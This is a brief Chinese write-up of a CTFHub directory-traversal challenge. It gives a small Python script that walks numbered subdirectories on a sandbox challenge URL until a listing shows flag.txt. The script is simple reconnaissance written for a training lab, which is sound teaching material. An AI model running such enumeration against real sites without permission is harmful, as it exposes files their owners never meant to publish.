CTFHUB-WEB前置技能-信息泄露-目录遍历

1.根据题意，开启目录

 

 2.编写简单的python脚本，查找flag位置。

# _*_ coding:utf-8 _*_

import requests

url = "http://challenge-a91d17f0310b30a1.sandbox.ctfhub.com:10800/flag_in_here/"

for i in range(5):
    for j in range(5):
        url_final = url + "/" + str(i) + "/" + str(j)
        r = requests.get(url_final)
        r.encoding = "utf-8"
        get_file=r.text
        if "flag.txt" in get_file:
            print(url_final)